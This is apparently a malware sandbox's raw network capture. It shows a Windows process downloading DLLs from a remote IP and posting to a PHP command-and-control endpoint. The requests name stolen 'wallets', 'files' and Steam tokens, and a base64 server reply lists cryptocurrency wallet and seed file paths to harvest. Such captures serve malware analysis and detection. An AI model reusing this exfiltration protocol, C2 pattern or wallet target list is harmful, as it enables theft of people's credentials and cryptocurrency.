[TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 2, 2024 05:20:07.977643967 CEST	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 a2 00 10 a0 a2 00 10 80 a2 00 10 e0 a2 00 10 90 a3 00 10 30 a3 00 10 10 a3 00 10 70 a3 00 10 30 a4 00 10 d0 a3 Data Ascii: 0p0pP0`P` @
Oct 2, 2024 05:20:07.977655888 CEST	1236	IN	Data Raw: 20 ac 00 10 e0 ab 00 10 10 ad 00 10 50 ad 00 10 30 ad 00 10 00 ad 00 10 10 ae 00 10 10 a5 00 10 20 a5 00 10 00 00 00 00 00 00 00 00 00 00 03 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 a2 00 00 00 a0 a2 00 00 00 e0 a2 00 00 Data Ascii: P0 0p0Pp 0P``
Oct 2, 2024 05:20:07.977667093 CEST	1236	IN	Data Raw: 00 02 50 3b 01 00 02 60 3b 01 00 02 70 3b 01 00 02 80 3b 01 00 02 90 3b 01 00 02 a0 3b 01 00 02 b0 3b 01 00 02 c0 3b 01 00 02 d0 3b 01 00 02 e0 3b 01 00 00 10 3c 01 00 00 30 3c 01 00 00 60 3c 01 00 02 a0 3c 01 00 02 e0 3c 01 00 02 20 3d 01 00 02 Data Ascii: P;`;p;;;;;;;;<0<`<<< ===0>p>0??@@AAA`BB@CPCpCCCCPD`DpDDDDDEE EEE0F@
Oct 2, 2024 05:20:07.977679014 CEST	1236	IN	Data Raw: 02 90 84 01 00 02 b0 84 01 00 00 d0 84 01 00 00 f0 84 01 00 00 10 85 01 00 02 60 85 01 00 02 10 86 01 00 02 70 87 01 00 02 80 87 01 00 02 a0 87 01 00 02 e0 87 01 00 02 40 88 01 00 02 b0 88 01 00 02 d0 88 01 00 02 e0 88 01 00 02 70 8e 01 00 02 90 Data Ascii: `p@pP 000p0P @
Oct 2, 2024 05:20:07.977722883 CEST	672	IN	Data Raw: f0 6b 02 00 02 10 72 02 00 02 40 7d 02 00 02 a0 7d 02 00 02 50 7e 02 00 00 90 7e 02 00 00 d0 7e 02 00 00 f0 7e 02 00 00 10 7f 02 00 00 20 7f 02 00 00 30 7f 02 00 00 50 7f 02 00 00 00 80 02 00 00 e0 80 02 00 00 90 81 02 00 00 70 82 02 00 00 60 83 Data Ascii: kr@}}P~~~~ 0Pp`PPPp@ `0P 00p
Oct 2, 2024 05:20:07.977788925 CEST	1236	IN	Data Raw: 02 00 00 50 fb 02 00 00 d0 fb 02 00 00 40 fc 02 00 02 70 fc 02 00 00 a0 fc 02 00 00 e0 fc 02 00 00 20 fd 02 00 00 60 fd 02 00 00 a0 fd 02 00 00 00 fe 02 00 00 f0 fe 02 00 02 10 ff 02 00 02 30 ff 02 00 02 50 ff 02 00 02 70 ff 02 00 02 90 ff 02 00 Data Ascii: P@p `0PpP@p @0p`.../@/p//`0
Oct 2, 2024 05:20:07.977802038 CEST	1236	IN	Data Raw: 00 02 e0 93 03 00 02 20 94 03 00 02 60 94 03 00 02 a0 94 03 00 02 e0 94 03 00 02 20 95 03 00 02 60 97 03 00 02 d0 99 03 00 02 40 9c 03 00 02 70 9c 03 00 02 e0 9d 03 00 02 10 9e 03 00 02 90 9f 03 00 02 c0 9f 03 00 02 40 a1 03 00 02 60 a1 03 00 02 Data Ascii: ` `@p@`@PP`pP@0 PPP
Oct 2, 2024 05:20:07.977889061 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 a0 1a bd 2a 3f 00 00 00 e0 3a 0f 81 3f 00 00 00 40 5b 55 c5 3f 00 00 00 80 99 99 b9 3f 00 00 00 90 99 99 39 3e 00 00 00 30 33 33 a3 3c 00 00 00 90 99 99 f9 3a 7a 2a da 21 fb 04 45 40 75 cb 78 32 2d b8 c3 40 ee fd a1 11 b3 56 Data Ascii: ?:?@[U??9>033<:z!E@ux2-@VA?WI@_X-}@V$A@.?y>@+eG?z*!E@WI@ux2-@@_X-}@VAV$Aa<Rj=2KF={4gEZ
Oct 2, 2024 05:20:07.977900982 CEST	1236	IN	Data Raw: 4b 00 00 00 98 3e 00 10 4e 00 00 00 a0 3e 00 10 4f 00 00 00 a8 3e 00 10 50 00 00 00 b0 3e 00 10 56 00 00 00 b8 3e 00 10 57 00 00 00 c0 3e 00 10 5a 00 00 00 c8 3e 00 10 65 00 00 00 d0 3e 00 10 7f 00 00 00 d8 3e 00 10 01 04 00 00 dc 3e 00 10 02 04 Data Ascii: K>N>O>P>V>W>Z>e>>>>>???$?0?<?H?T?`?l?x????????
Oct 2, 2024 05:20:07.982606888 CEST	1236	IN	Data Raw: 44 46 00 10 01 34 00 00 50 46 00 10 09 34 00 00 5c 46 00 10 0a 34 00 00 68 46 00 10 01 38 00 00 74 46 00 10 0a 38 00 00 80 46 00 10 01 3c 00 00 8c 46 00 10 0a 3c 00 00 98 46 00 10 01 40 00 00 a4 46 00 10 0a 40 00 00 b0 46 00 10 0a 44 00 00 bc 46 Data Ascii: DF4PF4\F4hF8tF8F<F<F@F@FDFHFLFPF\|F\|F>B(>,Gq<GG(G4G@GLGXGdGpG\|GG
Oct 2, 2024 05:20:08.528882980 CEST	88	OUT	GET /1309cdeb8f4c8736/nss3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Oct 2, 2024 05:20:08.702018976 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 03:20:08 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49781	46.8.231.109	80	6724	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 05:20:08.730613947 CEST	92	OUT	GET /1309cdeb8f4c8736/softokn3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Oct 2, 2024 05:20:09.334059954 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 03:20:09 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 2, 2024 05:20:09.334079981 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 8c 02 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 Data Ascii: Ut]h6h{t]UtH]h6h{t1]Ut$]h6h{t]Ut
Oct 2, 2024 05:20:09.334090948 CEST	1236	IN	Data Raw: c0 74 07 b8 ff ff ff ff 5d c3 a1 0c 9a 03 10 eb cf cc cc cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0c 8b 48 68 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 04 31 c0 5d c3 a1 0c 9a 03 10 eb d2 cc cc cc cc Data Ascii: t]UtHh]h6h{t1]UtHl]h6h{t]UtHp]h6h{t]UtHt]h6h
Oct 2, 2024 05:20:09.334104061 CEST	672	IN	Data Raw: 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 a4 00 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 04 31 c0 5d c3 a1 0c 9a 03 10 eb cf cc cc cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 b8 00 00 00 Data Ascii: Ut]h6h{t1]Ut]h6h{t1]Ut]h6h{t]Ut]h6h{t]
Oct 2, 2024 05:20:09.334117889 CEST	1236	IN	Data Raw: 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 02 5d c3 a1 0c 9a 03 10 eb d1 cc cc cc cc cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 ec 00 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 02 Data Ascii: h{t]Ut]h6h{t]Ut]h6h{t]Ut]h6h{t1]Ut
Oct 2, 2024 05:20:09.334131956 CEST	224	IN	Data Raw: 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 02 5d c3 a1 0c 9a 03 10 eb d1 cc cc cc cc cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 3c 01 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff Data Ascii: ]h6h{t]Ut<]h6h{t]UtL]h6h{t1]Utl]h6h{t
Oct 2, 2024 05:20:09.334142923 CEST	1236	IN	Data Raw: ff ff ff 5d c3 a1 0c 9a 03 10 eb cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 58 01 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 04 31 c0 5d c3 a1 0c 9a 03 10 eb cf cc cc cc 55 89 e5 a1 0c 9a Data Ascii: ]UtX]h6h{t1]Ut\]h6h{t]Ut`]h6h{t]Utd]h6h
Oct 2, 2024 05:20:09.334155083 CEST	1236	IN	Data Raw: 85 c0 74 0f 8b 88 c8 01 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 07 b8 ff ff ff ff 5d c3 a1 0c 9a 03 10 eb cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 d0 01 00 00 ff 15 00 a0 03 10 5d ff Data Ascii: t]h6h{t]Ut]h6h{t]Ut]h6h{t]Ut]h6h{t]
Oct 2, 2024 05:20:09.334168911 CEST	1236	IN	Data Raw: a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 07 b8 ff ff ff ff 5d c3 a1 0c 9a 03 10 eb cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 b4 02 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 Data Ascii: 6h{t]Ut]h6h{t]Ut]h6h{t]Ut]h6h{t]Ut
Oct 2, 2024 05:20:09.334223986 CEST	672	IN	Data Raw: 74 07 b8 ff ff ff ff 5d c3 a1 0c 9a 03 10 eb cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 1c 03 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 07 b8 ff ff ff ff 5d c3 a1 0c 9a 03 10 eb cc 55 89 Data Ascii: t]Ut]h6h{t]Ut ]h6h{t]Ut$]h6h{t]Ut(]h6h
Oct 2, 2024 05:20:09.339083910 CEST	1236	IN	Data Raw: 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 07 b8 ff ff ff ff 5d c3 a1 0c 9a 03 10 eb cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 90 03 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 Data Ascii: ]h6h{t]Ut]h6h{t]UtH]h6h{t]UtL]h6h{t1]U
Oct 2, 2024 05:20:09.722631931 CEST	96	OUT	GET /1309cdeb8f4c8736/vcruntime140.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Oct 2, 2024 05:20:09.897627115 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 03:20:09 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 2, 2024 05:20:10.061738968 CEST	200	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGIJDGCAEBFIIECAKFHI Host: 46.8.231.109 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 2, 2024 05:20:10.342628002 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 03:20:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 2, 2024 05:20:10.382801056 CEST	466	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEBGHCBAEGDHIDGCBAEC Host: 46.8.231.109 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 42 47 48 43 42 41 45 47 44 48 49 44 47 43 42 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 36 64 31 35 31 64 36 34 61 65 34 62 35 30 64 34 32 39 31 64 39 65 31 61 32 31 62 63 30 38 39 32 65 32 35 61 34 34 66 36 63 65 61 66 33 35 38 66 37 61 61 34 35 37 63 35 39 64 64 38 36 30 31 34 63 63 37 65 63 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 47 48 43 42 41 45 47 44 48 49 44 47 43 42 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 47 48 43 42 41 45 47 44 48 49 44 47 43 42 41 45 43 2d 2d 0d 0a Data Ascii: ------KEBGHCBAEGDHIDGCBAECContent-Disposition: form-data; name="token"fa6d151d64ae4b50d4291d9e1a21bc0892e25a44f6ceaf358f7aa457c59dd86014cc7ec4------KEBGHCBAEGDHIDGCBAECContent-Disposition: form-data; name="message"wallets------KEBGHCBAEGDHIDGCBAEC--
Oct 2, 2024 05:20:10.562097073 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 03:20:10 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 2, 2024 05:20:10.564779997 CEST	464	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFIIEHJDBKJKECBFHDGH Host: 46.8.231.109 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 36 64 31 35 31 64 36 34 61 65 34 62 35 30 64 34 32 39 31 64 39 65 31 61 32 31 62 63 30 38 39 32 65 32 35 61 34 34 66 36 63 65 61 66 33 35 38 66 37 61 61 34 35 37 63 35 39 64 64 38 36 30 31 34 63 63 37 65 63 34 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 48 2d 2d 0d 0a Data Ascii: ------BFIIEHJDBKJKECBFHDGHContent-Disposition: form-data; name="token"fa6d151d64ae4b50d4291d9e1a21bc0892e25a44f6ceaf358f7aa457c59dd86014cc7ec4------BFIIEHJDBKJKECBFHDGHContent-Disposition: form-data; name="message"files------BFIIEHJDBKJKECBFHDGH--
Oct 2, 2024 05:20:10.743079901 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 03:20:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 2, 2024 05:20:10.751250982 CEST	562	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGHIDGCAFCBAAAAAFHDA Host: 46.8.231.109 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 48 49 44 47 43 41 46 43 42 41 41 41 41 41 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 36 64 31 35 31 64 36 34 61 65 34 62 35 30 64 34 32 39 31 64 39 65 31 61 32 31 62 63 30 38 39 32 65 32 35 61 34 34 66 36 63 65 61 66 33 35 38 66 37 61 61 34 35 37 63 35 39 64 64 38 36 30 31 34 63 63 37 65 63 34 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 44 47 43 41 46 43 42 41 41 41 41 41 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 44 47 43 41 46 43 42 41 41 41 41 41 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BGHIDGCAFCBAAAAAFHDAContent-Disposition: form-data; name="token"fa6d151d64ae4b50d4291d9e1a21bc0892e25a44f6ceaf358f7aa457c59dd86014cc7ec4------BGHIDGCAFCBAAAAAFHDAContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BGHIDGCAFCBAAAAAFHDAContent-Disposition: form-data; name="file"------BGHIDGCAFCBAAAAAFHDA--
Oct 2, 2024 05:20:10.954708099 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 03:20:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 2, 2024 05:20:10.957751989 CEST	471	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJKJKFCBKKJDGDHIDBGI Host: 46.8.231.109 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 4a 4b 46 43 42 4b 4b 4a 44 47 44 48 49 44 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 36 64 31 35 31 64 36 34 61 65 34 62 35 30 64 34 32 39 31 64 39 65 31 61 32 31 62 63 30 38 39 32 65 32 35 61 34 34 66 36 63 65 61 66 33 35 38 66 37 61 61 34 35 37 63 35 39 64 64 38 36 30 31 34 63 63 37 65 63 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4a 4b 46 43 42 4b 4b 4a 44 47 44 48 49 44 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 